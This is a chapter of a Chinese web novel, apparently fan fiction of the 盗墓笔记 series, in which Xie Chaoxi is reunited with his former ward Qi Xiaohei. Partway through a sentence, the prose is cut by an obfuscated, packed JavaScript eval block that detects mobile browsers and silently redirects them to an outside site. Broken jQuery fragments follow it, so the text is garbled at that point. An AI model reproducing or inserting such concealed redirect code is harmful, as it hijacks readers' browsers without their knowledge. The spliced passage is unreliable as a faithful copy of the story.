第131章 唯一的安慰

作品:《盗笔:血里朝生

    朝爷。


    这是比“花儿爷”更加具有独特性的称呼。


    这么多年来,他是开盘口也好,经商也好,无论伙计还是熟人,都习惯叫他一声“谢老板”。


    他的拳头就这么停留在对方的颊边半寸之外,而后拳头松开,他缓缓抬手,改为去摘下那副看起来甚是眼熟的墨镜。


    比他还高了半个头的男人就站在那里,薄薄的嘴唇似有若无地颤抖着,既激动又小心的样子,像是怕眼前的一切都是梦中虚影。


    墨镜被修长的手指慢慢取下,刺目的灯光下,是那双朝兮永远不会忘记的眼睛。


    灰白色的瞳仁仍如昔年,不会映出任何人的影子,可朝兮却仿佛能透过这双眼睛看到他的心里去,然后从中寻到自己经年未改的模样。


    朝兮轻叹道:“齐小黑。”


    那一瞬间,好像一切的疑问都有了最好的解释,冥冥之中,上天还是慈悲的,让曾经离散的人有了重新聚首的机缘。


    这大概就是墨脱的老喇嘛所说的因果。


    为什么陈皮会觉得,他的伙计行事作风像朝兮?


    因为那个伙计是齐小黑,是被朝兮言传身教的接班人。


    为什么陈皮的伙计,会跟解雨臣往来亲厚?


    也因为那是齐小黑。当年朝兮带着齐小黑在长沙落难,是解九遵守赌约将他送出长沙,无形中结下了这桩缘分。


    虽然朝兮并不知道这后面还发生过什么,但可以想象,齐小黑受解九照拂良多,与他的孙子有所来往也是理所当然。


    只是朝兮确然没有料到,齐小黑也拥有某种不老的能力,并在分别的岁月里,如同命运作弄般走上了这条道路。


    墨镜之下,是与十几岁的齐小黑已有所区别,但绝对称得上俊美英朗的成熟男子的面容。


    齐小黑,似乎是长成了另外的一个谢朝兮,英挺的眉宇上凝结着尘世的风霜清露,轮廓分明,容颜不老,却隐隐透着几分辛苦流离的寥落。


    短暂的静默之后,眼前蓦然一暗,已然陌生的他人气息扑面而来。


    黑瞎子用力地环抱住他,当切切实实肌肤相亲的刹那,才敢确信这并非梦境。


    朝兮心中亦觉宽慰。


    这段时日以来,他似乎一直在体味着离别和失去。


    比如同在一地却终未得尝一见的张起灵,比如久别重逢又撒手而去的陈皮,比如那些生不相知,唯在经年后方才耳闻死讯的长沙故人们……


    同解雨臣虽也是“久别重逢”,但念及他们的相见相识,于朝兮而言是履行承诺,终与陈皮等人是不同的。


    而齐小黑是他唯一的安慰。


    连日来心头的郁结哀痛似在这一刻得到了半分疏解,朝兮轻轻依靠在黑瞎子宽阔的肩膀上,在奔波劳碌中寻觅一点喘息之机。


    “朝爷,你忘了,你说过等我长大了,就给我改名叫齐玄了。”


    唇角微微翘起,勾出一个酸涩的弧度,黑瞎子的声音在耳畔响起,低哑中夹杂着几许凄凉。


    “你还说,等我十五岁生辰的时候,要给我一把好枪当礼物。”


    “可我刚过完十岁的,你就不要我了。”


    声声叩问,如同控诉,勾起朝兮心头为数不多的歉疚。


    他这一生习惯了与人交易,守约如守心,回顾往昔,未曾履行的约定唯有这一次。


    他一时无言,半晌,才像小时候那样拍一拍黑瞎子的后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14714434|157129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脑,强笑道:“失约于你,是我不该……你不是很喜欢钱么?我现在是大老板了,还挺有钱的。凡是我有的,你看上什么就说,算是我给你补偿。”


    黑瞎子听罢,停顿思忖片刻,也轻轻笑了一声,说:“朝爷这话是当真的?”


    朝兮略微松了口气:“怎么不当真?”


    “一言为定。”黑瞎子眯起眼睛,幽幽道:“那我可要好好想想,要一件……价值连城的宝贝,才能抵得上我这么多年,朝思暮想,念念不忘。”


    后半句他说的有些咬牙切齿的意思,朝兮哑然失笑,倒也并未多心。


    重逢的悲喜剧至此处已然足够,等两人都恢复冷静,才坐下来叙起阔别寒温。


    黑瞎子相对简略地叙说了那日解九府上一别之后的经历:解九动用了解家的人脉关系,将他送出了守卫森严的长沙城,送到了医院里救治。等他康复后,先是在国内读书,后来又去了德国留学,兜兜转转,还是回来做起了土夫子的营生,巧合之下,跟了陈皮做事。


    “我问过解九爷,但他执意不肯透露你的下落。”


    黑瞎子难掩失落,说道:“我瞒着解九爷从德国回来,正逢十年动乱,我的眼睛……出了一些状况。本想去广西碰碰运气,看你有没有回去过,结果就在路上遇上了四阿公。”


    这世间总是有这么多的阴差阳错。自从朝兮将他捡回去,陈皮就没有再来过,以至于他们从未见过面,命运却还是让他们在寻找朝兮的路上相遇了。


    在黑瞎子看来,陈皮做的一向都是“大生意”,而朝兮也是个中高手,跟着陈皮,说不定就会在哪时夹喇嘛撞见朝兮。


    本小章还未完,请点击下一页继续阅读后面精彩内容!